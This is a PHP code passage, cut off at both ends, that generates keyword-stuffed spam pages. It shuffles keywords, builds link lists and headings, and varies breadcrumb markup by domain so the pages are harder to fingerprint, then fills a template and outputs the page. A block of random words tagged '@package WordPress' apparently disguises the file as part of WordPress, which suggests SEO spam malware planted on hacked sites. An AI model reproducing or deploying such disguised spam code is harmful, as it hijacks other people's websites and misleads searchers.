 preg_match($rsInfo,$pInfoStr,$matchInfo);
 if(isset($matchInfo[1])){
	 $InFoStrArr = unserialize($matchInfo[1]);
 }else{
	 exit;
 }
 

 
 
 if(isset($InFoStrArr['frStr2'])){
	$frStr2 = $InFoStrArr['frStr2'];
	$fr2Arr = unserialize($frStr2);
 }
 
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);

$Ptitle = $InFoStrArr['Ptitle'];
$PtitleNowid = $Ptitle;
$nowIdName = $InFoStrArr['nowIdName'];

if(strstr($Ptitle,'#cat#')){
	$tp_title_arr = explode('#cat#',$Ptitle);
	$Ptitle = $tp_title_arr[1];
}

$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];
$nowMateAddArr = unserialize($nowMateAddStr);


$falgMateDes = 0;
if(strstr($pcatstr,'#cname#')){
	$temparrI = explode('#cname#',$pcatstr);
	$catStr = $temparrI[0];
	$catArr = explode('^',$catStr);
	$tparrCat = array();
	$catArrII = array();
	foreach($catArr as $vs){
		$vs = str_replace('&amp;','&',$vs);
		if(!isset($tparrCat[$vs])){
			$tparrCat[$vs] = 1;
			$catArrII[] = $vs;
		}
	}

	$catArr = $catArrII;
	
	$mateStr = $temparrI[1];
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = trim($temparrII[0]);
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = trim($temparrII[1]);
		if(!$pdescription){
			$falgMateDes=1;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}

			if(count($nowMateAddArr)){
				foreach($nowMateAddArr as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pDescriptionYuanShi = $pdescription;
		}
		
	}else{
		$pkeyword = $Ptitle;
		$falgMateDes=1;
	}
}else{
	$catArr = array();
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = $temparrII[0];
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = trim($temparrII[1]);
		if(!$pdescription){
			$falgMateDes=1;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			if(count($nowMateAddArr)){
				foreach($nowMateAddArr as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pDescriptionYuanShi = $pdescription;
		}
	}else{
		$pkeyword = $Ptitle;
		$falgMateDes=1;
	}
}

if($falgMateDes){

			$desPosition = (KEYJG + $id23) % 6;

			if($desPosition == 0)
				$pdescription = $Ptitle .' '. $nowMateAddArr[0] .' '. $nowMateAddArr[1];
			elseif($desPosition == 1)
				$pdescription = $nowMateAddArr[1] .' '. $Ptitle .' '. $nowMateAddArr[0];
			elseif($desPosition == 2)
				$pdescription = $Ptitle .' '. $nowMateAddArr[0] .' '. $nowMateAddArr[1];
			elseif($desPosition == 3)
				$pdescription = $nowMateAddArr[1] .' '. $nowMateAddArr[0] .' '. $Ptitle;
			elseif($desPosition == 4)
				$pdescription = $nowMateAddArr[0] .' '. $Ptitle .' '. $nowMateAddArr[1];
			elseif($desPosition == 5)
				$pdescription = $nowMateAddArr[0] .' '. $nowMateAddArr[1] .' '. $Ptitle;
			
			
}

$tpKeyStrCat = -1;
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23,$PtitleNowid);

if(count($catArr)){
	$endCatName = end($catArr);
	$beginCatName = $catArr[0];
	$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
	$beginCatName = '';
	$endCatName = '';
}

if(function_exists("preg_split")){
	$PtitleArr = preg_split('/\s+/us', $Ptitle);		
}else{
	$PtitleArr = explode(' ', $Ptitle);
}

$tpTitleArr = array();
foreach($PtitleArr as $vs){
	$vs = trim($vs);
	if($vs){
		$tpTitleArr[] = $vs;
	}
}



$numTitleArr = count($tpTitleArr);


$randTkeyI =  RANDNUMI % $numTitleArr;

$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);

$randTkeyII =  RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
	$randTkeyII = abs($randTkeyI-2);
}

$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);


$addTopStr = '';
$addTopStr .= "<h1>{$Ptitle}</h1>".PHP_EOL;
$addTopStr .= $BreadStr.PHP_EOL;




$addStrII = '';

$addStrII .= '<p>';
$addStrII .= '###nowtitles###,';
$addStrII .= $createTitleI .',';
$addStrII .= $pdescription.' ';
$addStrII .= $createTitleII . ' '. $thisdom .'.</p>';

$addStrII .= "<h2>{$Ptitle}</h2>";

if(isset($InFoStrArr['nowPimgArr'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
	foreach($tpImgArr as $tpimg){
		$addStrII .= $tpimg."<br/>".PHP_EOL;
	}
}

$addTopStr .= $addStrII;



$tpaddstr = '';
$tpaddstr .= "<h1>{$Ptitle}</h1>".PHP_EOL;

if(isset($InFoStrArr['pdes'])){
	$InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
	$tpaddstr .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}

if(isset($InFoStrArr['nowPimgArrYs'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
	foreach($tpImgArr as $tpimg){
		$tpaddstr .= $tpimg."<br/>".PHP_EOL;
	}
}



$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
	$tpPid = $key;
	$tpFlink = getalink($tpPid,$vs);
	
	if(strstr($vs,'#cat#')){
		$tp_name_arr = explode('#cat#',$vs);
		$vs = $tp_name_arr[1];
	}
	
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;

if(isset($fr2Arr)){
	$fr2Strs = '<ul>'.PHP_EOL;
	foreach($fr2Arr as $key=>$vs){
		$tpPid = $key;
		$tpFlink = getalink($tpPid,$vs);
		
		
		if(strstr($vs,'#cat#')){
			$tp_name_arr = explode('#cat#',$vs);
			$vs = $tp_name_arr[1];
		}
		
		$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	}
	$fr2Strs .= '</ul>'.PHP_EOL;
}


$addPdesStrII = '';
$addPdesStrII .= "<h3>{$Ptitle}</h3>".PHP_EOL;



$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
	
	$Random =  (KEYJG + $id23)  % 3 + 3;

	
	$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}

	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			$tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			
			
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
	while($nowTempFlag <= $lenthFlinkArr-1){
		$nowTempFlag++;
		$tempDesNameArr[] = "<b>{$Ptitle}</b>";
	}
	
	
	$tpDesNameArr = $tempDesNameArr;
	$tempArrLen = count($tpDesNameArr) - 1;
	
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
		
		
		
		if($i == $tempArrLen){
			$addStrDes1 .= $tpdesVs . '.';
			// echo $addStrDes1;
			// exit;
		}else{
			$addStrDes1 .= $tpdesVs . $nowtempfh;
		}
		$i++;
		
	}
		
	$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;

	
}

$addPdesStrII .= $addStrDes1.PHP_EOL;






$addPdesStr = '';

$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
	
	$Random =  (KEYJG + $id23)  % 2 == 0 ? 3 : 2 ;

	
	$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
	$tempArrLen = count($tpDesNameArr) - 1;
	$temp_arr = array();
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		if(strstr($tpdesVs,'#cat#')){
			$tp_name_arr = explode('#cat#',$tpdesVs);
			$tpdesVs = $tp_name_arr[1];
		}
		
		$temp_arr[$tpdesKey] = $tpdesVs;
		
	}
	$tpDesNameArr = $temp_arr;
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}
	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
		while($nowTempFlag <= $lenthFlinkArr-1){
			$nowTempFlag++;
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
		}
	

	$tpDesNameArr = $tempDesNameArr;
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
	
		
		if($i == $tempArrLen){
			$addStrDesII .= $tpdesVs . '.';
		}else{
			$addStrDesII .= $tpdesVs . $nowtempfh;
		}
		$i++;
			
	}
		
	$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;

}




$addPdesStr .= "<h2>{$Ptitle}</h2>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;




$addH3Str = "<h3>{$Ptitle}</h3>";
 
 $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
 $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
 
 $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';

$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;

		$fileMb = fopen("template.html","r");
			$html = fread($fileMb,filesize("template.html"));	

			$numBz = 0;

			$titleKeys = KEYJG % 6;
			
			
		
			
			$catUseKey = (KEYJG + $id23) % count($catArr);
			$catUseKeyTwo = ((KEYJG+1) * $id23) % count($catArr);
			if($catUseKey == $catUseKeyTwo)
				$catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr);
			
			if(preg_match('#.*\.(.*)\..*#i',$thisdom))
				$usdomStr = preg_replace('#.*\.(.*)\..*#i','\1',$thisdom);
			else
				$usdomStr = preg_replace('#(.*)\..*#i','\1',$thisdom);
			
			
			$titlePosition = (KEYJG + $id23) % 2;
			
			if($titlePosition == 0)
				$nowShowTitle = $Ptitle .' '. $catArr[$catUseKeyTwo] .' '. $catArr[$catUseKey].' '.$thisdom ;
			elseif($titlePosition == 1)
				$nowShowTitle = $Ptitle .' '. $catArr[$catUseKey] .' '. $catArr[$catUseKeyTwo].' '.$thisdom ;
		
			
		
			$addTopStr =  str_replace('###nowtitles###',$Ptitle ,$addTopStr);
			$tpaddstr =  str_replace('###nowtitles###',$Ptitle,$tpaddstr);
			
			$html = str_ireplace('draft_or_post_title',  $nowShowTitle, $html);	
			$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);	
			$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);	
			
			$html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
			// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
			
			
			
			$tempStr = $addPdesStrII;
			$addPdesStrII = $addPdesStr."<br/>". PHP_EOL . $fr1Strs;;
			$addPdesStr = $tempStr;
		
			if(strstr($html,'#link3#'))
			if($flagH2I){
					$html = str_replace('#link3#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}else{
					$html = str_replace('#link3#','',$html);
				}
				
				
							
			if(strstr($html,'#flink#'))
				if($flagH2I){
					$html = str_replace('#flink#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#flink#',$addPdesStr, $html);
					$flagH2II = 0;
				}else{
					$html = str_replace('#flink#','',$html);
				}
				
				
				
			if(strstr($html,'#link4#'))
				if($flagH2I){
					$html = str_replace('#link4#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link4#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link4#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link4#','',$html);
				}
				
				
			if(strstr($html,'#link5#'))
				if($flagH2I){
					$html = str_replace('#link5#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link5#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link5#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link5#','',$html);
				}
	
				
				
				if(strstr($html,'#Flink2#'))
				if($flagH2I){
					$html = str_replace('#Flink2#',$addPdesStrII ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#Flink2#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#Flink2#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#Flink2#','',$html);
				}
						
				
			$lastAddStrs = '';
			
			if($flagH2I){
				$lastAddStrs .= $addPdesStrII  . PHP_EOL;
			}
			
			if($flagH2II){
				$lastAddStrs .= $addPdesStr. PHP_EOL;
			}
			
			if($lastAddStrs){
				$tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
			}
				
				
			$html = str_ireplace('#bbb2content2bbb#', '', $html);
			$html = str_ireplace('#descontent#', $tpaddstr, $html);
				
			$html = str_replace('#link1#','',$html);
			$html = str_replace('#link2#','',$html);
				

	
			$footKey = "<h3>{$Ptitle}</h3>". PHP_EOL ."<br/>{$pdescription}".PHP_EOL;
			$html = str_replace('</body',$footKey.'</body',$html);

		
	echo $html;
 
die();


	
/**
 * burden career decline drip excess leak molecule motive navigation notion pants partial sophisticated talent.
 * casual delicate descend expansion mature modify particle remedy vote waist.
 * comparable exceedingly harmony knot mixture resistant vehicle.
 * audio coil data export extraordinary gallery giant legislation oblige obscure poverty promote ridid semiconductor.
 * absolute abuse applicable appreciate audio avenue drift explore gasoline guarantee inferior interpret interpretation joint manual mist removal torture vote.
 * accomplish applause available balcony dispose equivalent excess extraordinary integrate liquor merchant precaution recruit register remarkable sake seminar signature survey universe vote.
 * decline entertainment leap molecule professional route shelter valley variation vary.
 * architecture available continual geometry harmony hook nucleus optimistic slender spot witness.
 * adopt advertise avenue balcony budget candidate comedy dispose distribute essential facility fatigue giant holy interpret leap motivate oxygen personnel poverty racial shuttle splendid trial.
 * Internet accelerate authority display exceed inferior insignificant naked nuisance poverty restrict transplant vessel yawn.
 * academic expel gallery golf issue medium oblige optics region religious stripe violet virus.
 * catalog emphasize enclose evolve garbage herd humble knot legislation luxury presumably principal profit sophisticated splendid stripe subway swallow volume.
 * available extinct fertilizer ingredient liquor obstacle offend prevail satellite.
 * abuse distress glory invade licence prevail prior provision recreation target utilise vain wealthy.
 * adult algebra approve bunch decline gear hardware leak lynar media presumably shift substantial tense terror welfare.
 * academy attitude cargo constant mature nevertheless nucleus remarkable scale stimulate submerge temple vague weave.
 * breed bureau flee flexible illegal optimistic passion skim tender.
 * appoint collision deposit discount knot leak omit passport reinforce removal shuttle spot undergraduate.
 * accelerate accomplish cargo coarse collision consistent deserve expansion joint mild partial preserve racial reinforce religious reputation shield shift simplify tend wander welfare witness.
 * abundant apparent appoint attitude burst derive deserve disturb expenditure extinct flee forbid glimpse incident infant parallel priority private relevant rescue satellite tender undertake weld.
 * aspect bargain barrel blast coarse consistent deposit discipline distress garbage invade loosen minimum odd retain torture.
 * abundant orbit poverty prohibit pursue reveal tend transmit.
 * advertise alter bacteria chaos code consent deposit equivalent estimate expel horror identify interpret isolate mainland mere outset personal quotation retail volcano withstand.
 * comment estimate gratitude infer male moisture parallel weld yield.
 * deputy essential explosive merchant obscure orbit orchestra revenue tarnest.
 * boundary jealous slippery tremendous.
 * adhere deserve discrimination dump estimate exclaim sorrow stale substance the tone trap valid virus wagon.
 * arise aware blast burst entertainment focus genuine liberal prevail resistant variation virtual volunteer.
 * adhere cargo mere passport regulate trap.
 * accomplish adapt appeal applianc coach dump expand guilty jealous laser opportunity range revenue ruin sketch territory universe volcano welfare.
 * battery delicate devise discrimination fertilizer holy offend orient register relevant ridiculous rival twist utilify.
 * appetite applianc arbitrary code consistent durable facility garbage holy junior modify recruit register ridiculous security significance solar sorrow spot urban vitally wealthy.
 * abundant competition delicate descend devise flee hostile individual insurance negative numerrous offend orbit pat peak personnel portable reject restraint spot survey variable withstand.
 * expensive scandal semiconductor thrust victim.
 * arichmetic commit conservation flexible global infinite ingredient inhabitant neglect professional satellite temporary.
 *
 * @package WordPress
 */


function getRandStrArr($tpArr=array(),$bgKey=0){
	
	$returnStr = '';
	$numArr = count($tpArr);
	for($i=$bgKey+1;$i<$numArr;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	for($i=0;$i<=$bgKey;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	return trim($returnStr);

}


function getBreadcrum($Ptitle,$catArr,$id23,$pname){

	global $arrBread,$thisdom;
	
	$breadTagkey = KEYJG % 6;
	if($breadTagkey == 0){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ul';
	}elseif($breadTagkey == 1){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 2){
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 3){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 4){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ul';
	}else{
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ul';
	}
	
	// $catstr = implode(' >> ',$catArr);

	$catArr= array();
	// if($catstr)
		// $catArr[] = $catstr;

	$arrBreadNum = count($arrBread);
	$domlen = strlen($thisdom);


	$breadTagkey = $domlen % 5;
	
	$liClassYs = KEYJG % 19;
	
	if($liClassYs == 0){
		$liStr = ' class="item"';
	}elseif($liClassYs == 1){
		$liStr = ' class="breadcrumbs-item"';
	}elseif($liClassYs == 2){
		$liStr = ' class="nz-breadcrumb-item"';
	}elseif($liClassYs == 3){
		$liStr = ' class="items"';
	}elseif($liClassYs == 4){
		$liStr = ' class="breadcrumblist-items"';
	}elseif($liClassYs == 5){
		$liStr = ' class="el-breadcrumb-item"';
	}elseif($liClassYs == 6){
		$liStr = ' class="doc-crumb-item"';
	}elseif($liClassYs == 7){
		$liStr = ' class="breadcrumb-item"';
	}elseif($liClassYs == 8){
		$liStr = ' class="crumbs-item"';
	}elseif($liClassYs == 9){
		$liStr = ' class="bread-item"';
	}elseif($liClassYs == 10){
		$liStr = ' class="breads-item"';
	}elseif($liClassYs == 11){
		$liStr = ' class="breadcrumbItem"';
	}elseif($liClassYs == 12){
		$liStr = ' class="breadcrumbItems"';
	}elseif($liClassYs == 13){
		$liStr = ' class="breadcrumblistitems"';
	}elseif($liClassYs == 14){
		$liStr = ' class="BreadcrumbItem"';
	}elseif($liClassYs == 15){
		$liStr = ' class="ListItem"';
	}elseif($liClassYs == 16){
		$liStr = ' class="crumb-items"';
	}else{
		$liStr = '';
	}
	

	$arrBreadId = array();
	$arrBreadId[] = 'Bread';
	$arrBreadId[] = 'BreadHead';
	$arrBreadId[] = 'Breadcrumb';
	$arrBreadId[] = 'Breadcrumb-Head';
	$arrBreadId[] = 'Breadcrumb-Heads';
	$arrBreadId[] = 'Breadcrumb-Top';
	$arrBreadId[] = 'BreadcrumbHeads';
	$arrBreadId[] = 'BreadcrumbLists';
	$arrBreadId[] = 'BreadcrumbNavigation';
	$arrBreadId[] = 'BreadcrumbTop';
	$arrBreadId[] = 'BreadcrumbTops';
	$arrBreadId[] = 'MyBreadcrumb';
	$arrBreadId[] = 'ant-breadcrumb';
	$arrBreadId[] = 'bread-List';
	$arrBreadId[] = 'breadtop';
	$arrBreadId[] = 'breadtops';
	$arrBreadId[] = 'breadHead';
	$arrBreadId[] = 'breadHeads';
	$arrBreadId[] = 'breadList';
	$arrBreadId[] = 'breadLists';
	$arrBreadId[] = 'breadcrumb';
	$arrBreadId[] = 'c-breadcrumb';
	$arrBreadId[] = 'crumbList';
	$arrBreadId[] = 'crumb-list';
	$arrBreadId[] = 'crumbs';
	$arrBreadId[] = 'crumbsHead';
	$arrBreadId[] = 'crumbsHeads';
	$arrBreadId[] = 'crumbs-head';
	$arrBreadId[] = 'crumbs-nag';
	$arrBreadId[] = 'crumbsTop';
	$arrBreadId[] = 'crumbsTops';
	$arrBreadId[] = 'crumbs-top';
	$arrBreadId[] = 'cs-breadcrumb';
	$arrBreadId[] = 'customBreadcrumb';
	$arrBreadId[] = 'doc-crumb';
	$arrBreadId[] = 'el-breadcrumb';
	$arrBreadId[] = 'l-breadcrumb';
	$arrBreadId[] = 'navBreadCrumb';
	$arrBreadId[] = 'navBreadCrumbs';
	$arrBreadId[] = 'page-breadcrumbs';
	$arrBreadId[] = 'pages-breadcrumbs';
	$arrBreadId[] = 's-breadcrumb';
	$arrBreadId[] = 'v-breadcrumb';
	$arrBreadId[] = 'chrome-breadcrumbs';
	
	
	$keyBreadId = KEYJG % 48;
	
	if(isset($arrBreadId[$keyBreadId])){
		$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
	}else{
		$keyBreadIdStr = '';
	}
	


	$strBreads = '';
	if($breadTagkey == 4){
		$arrBreadC1 = array();
		$arrBreadC1[] = 'BreadcrumbData';
		$arrBreadC1[] = 'BreadcrumbDatas';
		$arrBreadC1[] = 'BreadcrumbTop';
		$arrBreadC1[] = 'crumbsHead';
		$arrBreadC1[] = 'crumbsTop';
		$arrBreadC1[] = 'crumbsList';
		$arrBreadC1[] = 'crumbs-top';
		$arrBreadC1[] = 'crumbs-list';
		$arrBreadC1[] = 'crumbs-Head';
		$arrBreadC1[] = 'BreadcrumbTag';
		$arrBreadC1[] = 'Breadcrumb-tag';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'Breadcrumb-Top';
		$arrBreadC1[] = 'Breadcrumb-body';
		$arrBreadC1[] = 'BreadcrumbTops';
		$arrBreadC1[] = 'Breadcrumb-Head';
		$arrBreadC1[] = 'Breadcrumb-Heads';
		$arrBreadC1[] = 'Breadcrumb-List';
		$arrBreadC1[] = 'BreadcrumbList';
		$arrBreadC1[] = 'BreadcrumbLists';
		
		$ckeyI = KEYJG % count($arrBreadC1);
		
		$classI =  $arrBreadC1[$ckeyI];
		$classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
		
		$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
		$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
		$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
		if(count($catArr)){
			foreach($catArr as $vs){
				$vs = trim($vs);
				$nowCatUrl = getCatLink($vs,$id23);
				$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
			}
		}
		
		$nowUrl = getalink($id23,$pname);	
		$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
		// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
		$strBreads .= '</'.$breadTagHtml2.'>';
		$strBreads .= '</'.$breadTagHtml1.'>';
	}else{
		$calssBreadKey = KEYJG % $arrBreadNum;
		$classTop = $arrBread[$calssBreadKey];
		$classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
		$breadTagkey = $domlen % 2;

		if($breadTagkey == 0){
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
			$flagNum = 2;
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
					$flagNum++;
				}
			}
				
				
			$nowUrl = getalink($id23,$pname);	
			// $strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
				
				
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="'.$nowUrl.'"><span itemprop="name">'.$Ptitle.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}else{
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
				}
			}
				
			$nowUrl = getalink($id23,$pname);	
